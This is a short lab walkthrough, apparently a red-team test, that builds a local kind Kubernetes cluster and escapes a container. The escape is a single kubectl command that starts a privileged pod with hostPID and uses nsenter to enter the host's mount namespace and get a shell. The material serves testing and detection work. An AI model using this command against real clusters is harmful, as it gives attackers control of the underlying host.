Escaping a Container by Mounting the Host Filesystem with the nsenter Command

Environment Description

Environment Setup

Install and Start docker

if [ "" == "`which docker`" ]; then echo "Docker Not Found"; if [ -n "`which apt-get`" ]; then sudo apt-get -y install docker ; elif [ -n "`which yum`" ]; then sudo yum -y install docker ; fi ; else echo "Docker installed"; fi

systemctl start docker

Install kind

curl -Lo ./kind https://kind.sigs.k8s.io/dl/v0.10.0/kind-linux-amd64
chmod +x ./kind
mv kind /usr/bin/kind

Create a kubernetes Cluster Through kind

kind create cluster --name atomic-cluster

• It is created successfully as shown below:

Install kubectl

curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
chmod +x ./kubectl
mv kubectl /usr/bin/kubectl

Mount the Host Filesystem with the nsenter Command to Escape the Container

kubectl --context kind-atomic-cluster run atomic-nsenter-escape-pod --restart=Never -ti --rm --image alpine --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"securityContext":{"privileged":true}}]}}'

• The execution result is shown below: